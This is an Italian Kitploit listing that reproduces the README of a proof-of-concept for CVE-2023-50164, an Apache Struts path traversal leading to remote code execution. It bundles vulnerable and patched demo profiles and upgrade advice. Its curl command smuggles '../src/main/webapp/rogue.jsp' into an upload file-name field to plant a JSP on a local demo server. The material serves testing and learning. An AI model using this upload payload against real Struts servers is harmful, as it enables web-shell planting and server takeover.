Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-50164-POC — Exploit proof-of-concept per CVE-2023-50164, una vulnerabilità di path traversal in Apache Struts che porta all'esecuzione di codice remoto. Include ambienti demo vulnerabili e corretti per test e apprendimento. | Kitploit
Strumenti/GitHubGitHub/snyk-labs/cve-2023-50164-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubsnyk-labs/cve-2023-50164-poc

CVE-2023-50164-POC

Exploit proof-of-concept per CVE-2023-50164, una vulnerabilità di path traversal in Apache Struts che porta all'esecuzione di codice remoto. Include ambienti demo vulnerabili e corretti per test e apprendimento.

Vedi Repository
61482 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Questo è un Proof of Concept (PoC) per CVE-2023-50164, che descrive una nuova vulnerabilità di path traversal che può portare a Remote Code Execution (RCE) in struts-core.

Per risolvere il problema, si consiglia di aggiornare a Struts 2.5.33 o Struts 6.3.0.2 o versioni successive.

Questo repository si basa sull'eccellente lavoro di Henrik Plate trovato qui.

Eseguire il PoC

Ci sono due profili maven in questo progetto: vuln e no-vuln. vuln è quello predefinito.

Per eseguire con la vulnerabilità RCE, esegui il seguente comando:

mvn clean jetty:run -P vuln

Per eseguire senza la vulnerabilità RCE, esegui il seguente comando:

mvn clean jetty:run -P no-vuln

La differenza tra i due profili è che vuln utilizza struts-core versione 6.3.0.1 (che ha la vulnerabilità di path traversal) e no-vuln utilizza struts-core versione 6.3.0.2 (che non ha la vulnerabilità di path traversal).

Sfruttare la Vulnerabilità

Mentre esegui il profilo vuln descritto sopra, esegui il seguente comando:

curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Potrai vedere il file rogue.jsp nella cartella src/main/webapp e navigare al seguente indirizzo: http://localhost:9999/struts-vuln-poc/rogue.jsp (vedrai un messaggio Ya been PWNED!).

Esiste una soluzione di correzione del codice che funziona con le versioni più vecchie di Struts, ma è comunque fortemente consigliato aggiornare la versione di Struts.

Per testare la correzione del codice, esegui il seguente comando:

curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Vedrai un messaggio di errore: Attempted path traversal attack

NOTA: Se usi il profilo no-vuln, non riceverai un messaggio di errore dall'endpoint /upload-no-vuln, anche se usi un percorso relativo come ../src/main/webapp/rogue.jsp, poiché la nuova versione di struts rimuove automaticamente i riferimenti ai percorsi relativi.

Scarica lo strumento